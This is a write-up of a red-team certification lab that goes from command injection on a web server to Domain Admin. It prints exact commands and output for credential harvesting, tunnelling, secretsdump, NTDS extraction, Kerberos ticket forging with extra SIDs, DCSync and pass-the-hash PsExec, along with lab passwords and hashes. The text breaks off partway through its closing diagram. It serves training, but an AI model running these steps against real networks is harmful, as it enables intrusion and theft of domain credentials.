CRTA Lab Writeup: From Web Shell to Domain Admin


Note: This article was originally published on Medium.


Enterprise Environment: DMZ, MZ, and Red Teamer
Figure: Enterprise environment containing DMZ, Internal MZ, and attacker pivot infrastructure.

Overview

I completed the Certified Red Team Analyst (CRTA) lab by CyberWareFare Labs. It took me almost 4 full hours to complete and document this lab. With the help of LLMs, I successfully managed to learn a lot of things and get to the domain admin account.

The environment simulated a corporate network with a Linux web server exposed to the internet, a pfSense firewall, and an internal Active Directory forest consisting of a parent domain (warfare.corp) and a child domain (child.warfare.corp). My objective was to start from the external network, compromise the web server, pivot into the internal network, and escalate all the way to Domain Admin on the parent domain controller.

The Attack Chain Overview:

  1. Host Discovery: Discovered two hosts on the external network via Nmap. One was a pfSense firewall, the other a Linux web server running Apache.
  2. Command Injection: Found and exploited a command injection vulnerability in the EMAIL parameter of dashboard1.php on the web application.
  3. Initial Foothold: Read /etc/passwd through the command injection, found a user named privilege whose GECOS field contained the password Admin@962, and SSH’d in.
  4. Credential Harvesting: Ran LinPEAS on the web server and found a Firefox places.sqlite database containing credentials for a domain user ([email protected] / User1@#$%6) pointing at the internal management workstation.
  5. Network Pivoting: Set up Ligolo-ng to tunnel from my attack machine through the web server into the internal 192.168.98.0/24 network.
  6. LSA Secrets Dumping: Used Impacket’s secretsdump.py with John’s credentials against the MGMT workstation, extracting a second domain user’s plaintext password (corpmngr / User4&*&*) from the LSA Secrets.
  7. Active Directory Database Extraction: Used corpmngr’s credentials to get a WMI shell on the child domain controller (CDC), dumped the NTDS.dit via an IFM backup, and extracted the krbtgt AES key offline.
  8. Cross-Domain Kerberos Escalation: Forged a cross-domain Kerberos ticket using ticketer.py, requested a CIFS service ticket for the parent DC, dumped the parent domain Administrator’s NTLM hash, and got a SYSTEM shell on DC01 via PsExec.

The entire lab spans three network segments and four machines. I used a Windows 10 machine as my attacker/operator workstation throughout the engagement.


Acronym and Term Reference

Before diving in, here is every acronym and technical term used in this writeup, with a one-line definition and where to read more:

  • CRTA (Certified Red Team Analyst): A certification by CyberWareFare Labs focused on Active Directory attacks and red team methodology.
  • AD (Active Directory): Microsoft’s directory service for managing users, computers, and policies on a Windows domain network. Microsoft Docs
  • DC (Domain Controller): A server that responds to authentication requests within a Windows domain and stores the AD database (NTDS.dit).
  • DNS (Domain Name System): Translates human-readable domain names (like warfare.corp) into IP addresses. Port 53.
  • SSH (Secure Shell): A protocol for encrypted remote command-line access to a machine, typically over port 22.
  • HTTP (HyperText Transfer Protocol): The protocol web browsers use to load web pages, typically over port 80 (unencrypted) or 443 (encrypted/HTTPS).
  • SMB (Server Message Block): A Windows file-sharing protocol running on port 445. Also used for remote administration and lateral movement in AD environments.
  • LDAP (Lightweight Directory Access Protocol): The protocol used to query and modify Active Directory. Runs on port 389 (plaintext) or port 636 (LDAPS, encrypted). Port 3268 is the Global Catalog port.
  • RPC (Remote Procedure Call): A protocol that lets one program request a service from another program on a different machine. Port 135 handles the RPC endpoint mapper on Windows. Port 593 is RPC over HTTP.
  • NetBIOS (Network Basic Input/Output System): A legacy Windows networking protocol on port 139, used for name resolution and session services.
  • Kerberos: The default authentication protocol in Active Directory. Uses “tickets” instead of sending passwords over the network. Runs on port 88. Port 464 is for Kerberos password changes.
  • NTDS.dit (NT Directory Services — Directory Information Tree): The database file on every Domain Controller that stores all AD objects: usernames, password hashes, group memberships, trust keys.
  • NTLM Hash (NT LAN Manager Hash): A hashed version of a Windows password. If you obtain someone’s NTLM hash, you can authenticate as them without knowing the plaintext password (Pass-the-Hash).
  • SAM (Security Account Manager): A database on each Windows machine that stores local user account password hashes.
  • LSA (Local Security Authority): A Windows subsystem that handles authentication. “LSA Secrets” are credentials stored in the registry that services use to log in.
  • SID (Security Identifier): A unique string Windows assigns to every user, group, and computer. Example: S-1-5-21-3754860944-83624914-1883974761.
  • RID (Relative Identifier): The last portion of a SID that identifies a specific account within a domain. For example, RID 500 is always the built-in Administrator.
  • CIFS (Common Internet File System): An SMB dialect. Used interchangeably with SMB in most contexts.
  • SPN (Service Principal Name): An identifier that ties a Kerberos service (like CIFS for file sharing) to a specific machine.
  • TGT (Ticket-Granting Ticket): The first ticket you get from Kerberos when you authenticate. You present it to request service-specific tickets (TGS).
  • TGS (Ticket-Granting Service ticket): The service-specific ticket Kerberos gives you after you present a valid TGT.
  • PAC (Privileged Attribute Certificate): A data structure inside a Kerberos ticket that lists the user’s group memberships. Forging the PAC lets an attacker add themselves to groups they do not belong to.
  • Golden Ticket: A forged TGT created using the krbtgt account’s hash, granting universal access to anything in the domain.
  • IFM (Install From Media): A feature of ntdsutil that creates a portable copy of the AD database (NTDS.dit + SYSTEM + SECURITY registry hives). Intended for promoting new DCs offline, but attackers use it to exfiltrate the database.
  • DCC2 (Domain Cached Credentials version 2): Hashed domain passwords cached locally on Windows machines so users can log in when the DC is unreachable.
  • DPAPI (Data Protection Application Programming Interface): A Windows API for encrypting/decrypting secrets.
  • DRSUAPI (Directory Replication Service Remote Protocol): The protocol domain controllers use to replicate AD data between each other. secretsdump.py uses this to remotely extract hashes from a DC (DCSync).
  • pfSense: An open-source firewall/router distribution based on FreeBSD.
  • Ligolo-ng: A tunneling tool that creates a virtual network interface on your attack machine, routing traffic through a compromised host into otherwise-unreachable networks. GitHub
  • LinPEAS (Linux Privilege Escalation Awesome Script): An automated script that enumerates a Linux system for privilege escalation vectors. GitHub
  • Impacket: A Python library by Fortra for working with Windows network protocols. Ships with scripts like secretsdump.py, psexec.py, ticketer.py, and wmiexec.py. GitHub
  • WMI (Windows Management Instrumentation): A Windows administration framework. wmiexec.py uses it to execute commands remotely without uploading a binary.
  • Nmap (Network Mapper): A port scanner and network discovery tool. nmap.org
  • BurpSuite: A web application security testing proxy by PortSwigger. Intercepts HTTP requests so you can modify and replay them.
  • SCP (Secure Copy Protocol): A command-line tool that copies files over SSH.
  • GECOS (General Electric Comprehensive Operating Supervisor): A legacy name for the comment/description field in /etc/passwd.

Section 1: Network Scope and Environment Layout

Why this matters

Before touching anything, I needed to know which IP ranges were in play. The lab provided a scope file defining three network segments. Scanning outside of scope is a rule violation in any real engagement, and in a lab, it wastes time.

The Scope

  • VPN (10.10.200.0/24): My Windows attack machine’s VPN connection to the lab infrastructure.
  • External (192.168.80.0/24): The “internet-facing” network. This is where I land after connecting to the VPN.
  • Internal (192.168.98.0/24): The corporate LAN behind the firewall. Not directly reachable from my machine.

My attack machine (Windows 10, referred to as [Attacker-Windows] in command prompts below) sat on 10.10.200.0/24. The external network was routable from there. The internal network was not; I would need to pivot through a compromised host to reach it.

Reading the Command Prompts:

  • [Attacker-Windows] = My Windows 10 attack machine.
  • privilege@ubuntu-virtual-machine = The compromised Linux web server (192.168.80.10 / 192.168.98.15).
  • C:\> inside a wmiexec session = The remote Windows machine I got a shell on (e.g., CDC at 192.168.98.120).
  • C:\Windows\system32> inside a psexec session = The remote Windows machine I got SYSTEM on (e.g., DC01 at 192.168.98.2).

Section 2: External Host Discovery and Port Scanning

Host Discovery

I ran an Nmap ping sweep against the entire external /24 subnet (256 addresses):

$ nmap -sn 192.168.80.0/24 --unprivileged -T4 --min-parallelism 5 --max-parallelism 20
Starting Nmap 7.94 ( https://nmap.org ) at 2026-07-15 16:09 Bangladesh Standard Time
Nmap scan report for 192.168.80.1
Host is up (0.16s latency).
Nmap scan report for 192.168.80.10
Host is up (0.23s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 24.94 seconds

Result: Out of 256 IP addresses scanned, only 2 hosts were alive: 192.168.80.1 and 192.168.80.10.

Service Detection and Version Scanning

Next, I ran a service version and default script scan on both hosts:

$ nmap -sC -sV 192.168.80.1,10 --unprivileged -T4 --min-parallelism 15 --max-parallelism 25
Starting Nmap 7.94 ( https://nmap.org ) at 2026-07-15 16:12 Bangladesh Standard Time
Nmap scan report for 192.168.80.1
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
53/tcp open  domain  Unbound
80/tcp open  http    nginx
|_http-title: pfSense - Login

Nmap scan report for 192.168.80.10
Host is up (0.44s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 8d:c3:a7:a5:bf:16:51:f2:03:85:a7:37:ee:ae:8d:81 (RSA)
|   256 9a:b2:73:5a:e5:36:b4:91:d8:8c:f7:4a:d0:15:65:28 (ECDSA)
|_  256 3c:16:a7:6a:b6:33:c5:83:ab:7f:99:60:6a:4c:09:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Cyber WareFare Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 2 IP addresses (2 hosts up) scanned in 123.99 seconds

192.168.80.1 (Firewall/Gateway) — 2 open ports, 998 filtered

  • 53/tcp (DNS - Unbound): A recursive DNS resolver handling name lookups.
  • 80/tcp (HTTP - Nginx): Serving the pfSense login page (http-title: pfSense - Login).
  • Verdict: This machine is the network’s firewall. The remaining 998 ports were filtered. I left this machine alone; the web server was my target.

192.168.80.10 (Target Web Server) — 2 open ports, 998 filtered

  • 22/tcp (SSH - OpenSSH 8.2p1 Ubuntu): Standard remote access with three host keys.
  • 80/tcp (HTTP - Apache httpd 2.4.41): Web application titled “Cyber WareFare Labs”. Confirmed Ubuntu Linux.

Section 3: Web Application Exploitation (Command Injection)

How I Found It

I intercepted the web application’s requests using BurpSuite. One endpoint, POST /dashboard1.php, had a parameter called EMAIL. The form was a newsletter subscription box. I submitted ls as the value to test for command injection.

POST /dashboard1.php HTTP/1.1
Host: 192.168.80.10
Content-Length: 8
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://192.168.80.10
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: PHPSESSID=2vve4j7nvilps3qcj7ic6kqh8d; id=Test
Connection: keep-alive

EMAIL=ls

The server responded with a JavaScript alert (Thanks for subcribing ..!) followed by a directory listing of the web root embedded directly in the HTML:

<script>alert("Thanks for subcribing ..!")</script>Template Main
add.php
addemp.php
assets
career.php
config.php
css
dashboard1.php
dashboard2.php
dashboard3.php
dbcontroller.php
down.php
emplogin.php
filelog.php
fonts
index.php
js
logout.php
malicious.php
order2.php
os.php
pdfresum.php
registration.php
rememp.php
report.php
sam.txt
script.sh
script1.sh
search.php
shop-grid.php
style.css
test5.php
test6.php
test7.php
test8.php
testup.php
val.php

The server had executed ls and returned the output inline. Command injection was confirmed.

Reading /etc/passwd

I sent a second request with cat /etc/passwd as the EMAIL value:

POST /dashboard1.php HTTP/1.1
Host: 192.168.80.10
Content-Length: 21
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=2vve4j7nvilps3qcj7ic6kqh8d; id=Test

EMAIL=cat /etc/passwd

Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
privilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
mysql:x:129:135:MySQL Server,,,:/nonexistent:/bin/false

Out of all these accounts, only 3 had interactive login shells (/bin/bash):

  • root:x:0:0:root:/root:/bin/bash
  • ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
  • privilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash

The privilege user (UID 1001) had its GECOS field set to Admin@962. In this lab, it contained the user’s password.

Getting SSH Access

I tested Admin@962 as the password for SSH:

$ ssh [email protected]
The authenticity of host '192.168.80.10 (192.168.80.10)' can't be established.
ED25519 key fingerprint is SHA256:RHpGTqvkXkAP6/HA3vpHP8gkrtApbfyYYjteCh3N/TE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.80.10' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-67-generic x86_64)
privilege@ubuntu-virtual-machine:~$ 

Checking Sudo Privileges and Network Interfaces

privilege@ubuntu-virtual-machine:~$ sudo -l
[sudo] password for privilege: 
Matching Defaults entries for privilege on ubuntu-virtual-machine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User privilege may run the following commands on ubuntu-virtual-machine:
    (ALL : ALL) ALL

(ALL : ALL) ALL gave full root control over the machine.

privilege@ubuntu-virtual-machine:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 127.0.0.1/8 scope host lo
2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    inet 192.168.98.15/24 brd 192.168.98.255 scope global noprefixroute ens34
3: ens32: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    inet 192.168.80.10/24 brd 192.168.80.255 scope global noprefixroute ens32

This machine was dual-homed:

  • ens32 (192.168.80.10/24): External-facing NIC.
  • ens34 (192.168.98.15/24): Internal-facing NIC reaching the 192.168.98.0/24 subnet directly.

Section 4: Internal Network Discovery from the Compromised Host

Uploading Tools & Ping Sweep

I transferred a static Nmap binary via SCP and swept the internal subnet:

[Attacker-Windows] C:\CRTA_LAB> scp nmap [email protected]:/home/privilege/
privilege@ubuntu-virtual-machine:~$ chmod +x nmap
privilege@ubuntu-virtual-machine:~$ ./nmap -sn 192.168.98.0/24
Nmap scan report for 192.168.98.2
Host is up (0.0010s latency).
Nmap scan report for 192.168.98.15
Host is up (0.000030s latency).
Nmap scan report for 192.168.98.30
Host is up (0.0023s latency).
Nmap scan report for 192.168.98.120
Host is up (0.00088s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 15.31 seconds

4 hosts were alive on the internal network: 192.168.98.2, 192.168.98.15, 192.168.98.30, and 192.168.98.120.

Internal Port Scan

privilege@ubuntu-virtual-machine:~$ ./nmap 192.168.98.2,15,30,120
Nmap scan report for 192.168.98.2
PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos
135/tcp open  epmap
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd
593/tcp open  unknown
636/tcp open  ldaps

Nmap scan report for 192.168.98.15
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 192.168.98.30
PORT    STATE SERVICE
135/tcp open  epmap
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap scan report for 192.168.98.120
PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos
135/tcp open  epmap
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd
593/tcp open  unknown
636/tcp open  ldaps

Host Analysis:

  • 192.168.98.2 & 192.168.98.120: 9 open ports each (DNS, Kerberos, LDAP, LDAPS, SMB, RPC). Classic Active Directory Domain Controller fingerprints.
  • 192.168.98.15: Linux Web Server (the current compromised machine).
  • 192.168.98.30: 3 open ports (RPC, NetBIOS, SMB). Windows Workstation or Member Server.

Section 5: LinPEAS Enumeration and Credential Discovery

The Critical Finding: Firefox SQLite Database

LinPEAS flagged Firefox’s browsing history in places.sqlite:

privilege@ubuntu-virtual-machine:~$ sqlite3 /home/privilege/.mozilla/firefox/b2rri1qd.default-release/places.sqlite
sqlite> SELECT url, title FROM moz_places;

Among the entries:

http://192.168.98.30/admin/[email protected]&pass=User1@#$%6|

Someone had logged into an admin panel on the MGMT workstation (192.168.98.30) passing credentials in the URL query string.


Section 6: Setting up Ligolo-ng for Network Pivoting

Starting the Proxy on Attack Machine

[Attacker-Windows] C:\CRTA_LAB\ligolo> proxy.exe -selfcert

Listening on 0.0.0.0:11601.

Connecting the Agent from the Web Server

privilege@ubuntu-virtual-machine:~$ ./ligolo-agent -connect 10.10.200.120:11601 -ignore-cert

Inside Ligolo:

ligolo-ng » session
? Specify a session : 1 - privilege@ubuntu-virtual-machine
[Agent : privilege@ubuntu-virtual-machine] » start

Adding the Route on Windows

[Attacker-Windows] PS> New-NetRoute -DestinationPrefix "192.168.98.0/24" -InterfaceAlias "ligolo"

Verification:

[Attacker-Windows] C:\CRTA_LAB\ligolo> ping 192.168.98.30
Reply from 192.168.98.30: bytes=32 time=513ms TTL=64

The tunnel was fully functional.


Section 7: Detailed Internal Scans from Attack Machine

With the tunnel active, I ran full version and script scans directly from my Windows machine:

DC01 (192.168.98.2) — Parent Domain Controller

  • Domain: warfare.corp
  • Hostname: DC01
  • SMB Signing: Enabled and required.
  • Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5357.

MGMT (192.168.98.30) — Management Workstation

  • Hostname: MGMT
  • SMB Signing: Enabled but not required (vulnerable to relay/tampering).
  • Ports: 135, 139, 445.

CDC (192.168.98.120) — Child Domain Controller

  • Domain: child.warfare.corp
  • Hostname: CDC
  • SMB Signing: Enabled and required.
  • Ports: 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 5357.

Section 8: Mounting the MGMT Share and File System Exploration

privilege@ubuntu-virtual-machine:~$ mkdir /tmp/share
privilege@ubuntu-virtual-machine:~$ sudo mount -t cifs //192.168.98.30/C$ /tmp/share \
  -o username=john,password='User1@#$%6',domain=child.warfare.corp

User profiles on MGMT:

drwxr-xr-x 2 root root 0 Jan 15 2025 Administrator
drwxr-xr-x 2 root root 0 Jan 16 2025 corpmngr
drwxr-xr-x 2 root root 0 Jan 19 2025 corpmngr.CHILD
drwxr-xr-x 2 root root 0 Jan 19 2025 john
drwxr-xr-x 2 root root 0 Jan 17 2025 john.CHILD

Profiles for corpmngr and john confirmed active logon history on the workstation.


Section 9: Credential Extraction from MGMT Using secretsdump

[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py "child.warfare.corp/john:User1@#$%[email protected]"
[*] Target system bootKey: 0x7d25542d784b7dec178f7c6d07cd7aa0
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:69865e966bb089639e9b1c7f719427fa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:169a376cbed3e83e5ea8eec2d248ce0c:::
[*] Dumping cached domain logon information (domain/username:hash)
CHILD.WARFARE.CORP/john:$DCC2$10240#john#9855312d42ee254a7334845613120e61: (2025-01-17 14:47:56+00:00)
CHILD.WARFARE.CORP/corpmngr:$DCC2$10240#corpmngr#7fd50bbab99e8ea7ae9c1899f6dea7c6: (2025-01-19 15:21:56+00:00)
[*] Dumping LSA Secrets
[*] _SC_SNMPTRAP
[email protected]:User4&*&*

Section 10: Targeting the Child Domain Controller (CDC)

Getting a Shell on CDC with wmiexec

[Attacker-Windows] C:\CRTA_LAB\lateral> python wmiexec.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.120"
C:\>

Creating an IFM Backup of the AD Database

C:\> mkdir C:\Windows\Tasks\db
C:\> ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Tasks\db" quit quit
Creating snapshot...
Snapshot set {a8991842-febd-4f18-9b9c-ee8ecd3d7278} generated successfully.
Source Database: C:\$SNAP_202607151833_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: C:\Windows\Tasks\db\Active Directory\ntds.dit
Copying registry files...
Copying C:\Windows\Tasks\db\registry\SYSTEM
Copying C:\Windows\Tasks\db\registry\SECURITY
IFM media created successfully in C:\Windows\Tasks\db

Exfiltrating Files & Offline Dumping

[Attacker-Windows] C:\CRTA_LAB\lateral> copy "\\192.168.98.120\C$\Windows\Tasks\db\Active Directory\ntds.dit" .
[Attacker-Windows] C:\CRTA_LAB\lateral> copy "\\192.168.98.120\C$\Windows\Tasks\db\registry\SYSTEM" .
[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8a8124cbf8513e07f1eeb0026c4d9de2:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e57dd34c1871b7a23fb17a77dec9b900:::
WARFARE$:1103:aad3b435b51404eeaad3b435b51404ee:4aecd69741f12fbc1b27d962a28ff7a8:::
child.warfare.corp\john:1104:aad3b435b51404eeaad3b435b51404ee:b6f7e9a9a92eaa9ecffb698657dfab36:::
child.warfare.corp\corpmngr:1106:aad3b435b51404eeaad3b435b51404ee:4cb3933610b827a281ec479031128cc6:::

[*] Kerberos keys from ntds.dit
krbtgt:aes256-cts-hmac-sha1-96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
WARFARE$:aes256-cts-hmac-sha1-96:5a59da180f0b799f6d6d48fe043f388604b835c0498422f111bfce5ec87dea6a
  • Target Keys Acquired:
    • krbtgt AES-256 Key: ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
    • Trust Account (WARFARE$): 4aecd69741f12fbc1b27d962a28ff7a8

Section 11: SID Enumeration for Both Domains

Child Domain SID

[Attacker-Windows] C:\CRTA_LAB\lateral> python lookupsid.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.120"
Domain SID is: S-1-5-21-3754860944-83624914-1883974761

Parent Domain SID

[Attacker-Windows] C:\CRTA_LAB\lateral> python lookupsid.py "child.warfare.corp/corpmngr:User4&*&*@192.168.98.2"
Domain SID is: S-1-5-21-3375883379-808943238-3239386119

Section 12: Forging a Cross-Domain Kerberos Ticket

DNS Setup (Hosts file)

[Attacker-Windows] C:\> echo 192.168.98.2 dc01.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.120 child.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.120 cdc.child.warfare.corp >> C:\Windows\System32\drivers\etc\hosts
[Attacker-Windows] C:\> echo 192.168.98.2 warfare.corp >> C:\Windows\System32\drivers\etc\hosts

Forging the Ticket with ticketer.py

[Attacker-Windows] C:\CRTA_LAB\lateral> python ticketer.py -domain child.warfare.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 "corpmngr"
  • Injected extra SIDs for parent Domain Controllers (RID 516) and Enterprise Domain Controllers (S-1-5-9).
  • Generated corpmngr.ccache.

Requesting a Service Ticket for DC01

[Attacker-Windows] C:\CRTA_LAB\lateral> set KRB5CCNAME=corpmngr.ccache
[Attacker-Windows] C:\CRTA_LAB\lateral> python getST.py -spn "CIFS/dc01.warfare.corp" -k -no-pass child.warfare.corp/corpmngr

Saved ticket in corpmngr@[email protected].


Section 13: Dumping the Parent Domain Admin Hash

[Attacker-Windows] C:\CRTA_LAB\lateral> set KRB5CCNAME=corpmngr@[email protected]
[Attacker-Windows] C:\CRTA_LAB\lateral> python secretsdump.py -k -no-pass dc01.warfare.corp -just-dc-user "warfare\Administrator"
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ca1d92ce23046a58b1cec292376a7d3ec6de02176bf44fb50fede1db46fec183
  • Parent Domain Administrator NTLM Hash: a2f7b77b62cd97161e18be2ffcfdfd60

Section 14: SYSTEM Shell on DC01

[Attacker-Windows] C:\CRTA_LAB\lateral> python psexec.py "warfare/[email protected]" -hashes aad3b435b51404eeaad3b435b51404ee:a2f7b77b62cd97161e18be2ffcfdfd60
[*] Requesting shares on dc01.warfare.corp.....
[*] Found writable share ADMIN$
[*] Uploading file nQTxRWms.exe
[*] Opening SVCManager on dc01.warfare.corp.....
[*] Creating service cfOI on dc01.warfare.corp.....
[*] Starting service cfOI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> hostname
dc01

C:\Windows\system32> ipconfig
Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 192.168.98.2
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.98.1

Successfully escalated to NT AUTHORITY\SYSTEM on the parent domain controller.


Section 15: Cleanup

Removed the IFM backup from the child domain controller:

net use "\\192.168.98.120\C$" "User4&*&*" /user:child.warfare.corp\corpmngr
rmdir /s /q "\\192.168.98.120\C$\Windows\Tasks\db"
net use "\\192.168.98.120\C$" /delete

Attack Chain Summary

┌─────────────────────────────────────────────────────────────────────────┐
│                    EXTERNAL NETWORK (192.168.80.0/24)                   │
│                                                                         │
│  [Attacker] ──Nmap scan (2 hosts, 4 open ports total)──>                │
│                                                                         │
│     ├─ 192.168.80.1  (pfSense firewall, 2 ports: 53, 80)                │
│     └─ 192.168.80.10 (Web server, 2 ports: 22, 80)                     │
│                                                                         │
│     BurpSuite: POST /dashboard1.php, EMAIL=ls -> command injection      │
│     EMAIL=cat /etc/passwd -> privilege:Admin@962                        │
│     SSH as privilege -> sudo (ALL : ALL) ALL                            │
│                                                                         │
│     ip a -> ens32 (192.168.80.10) + ens34 (192.168.98.15)              │
│     LinPEAS -> Firefox places.sqlite                                    │
│     Found: [email protected] / User1@#$%6                         │
│                                                                         │
│     Ligolo-ng tunnel (proxy.exe + ligolo-agent)                         │
│     Route: 192.168.98.0/24 -> ligolo interface (ifIndex 81)             │
└────────────────────┬────────────────────────────────────────────────────┘
                     │
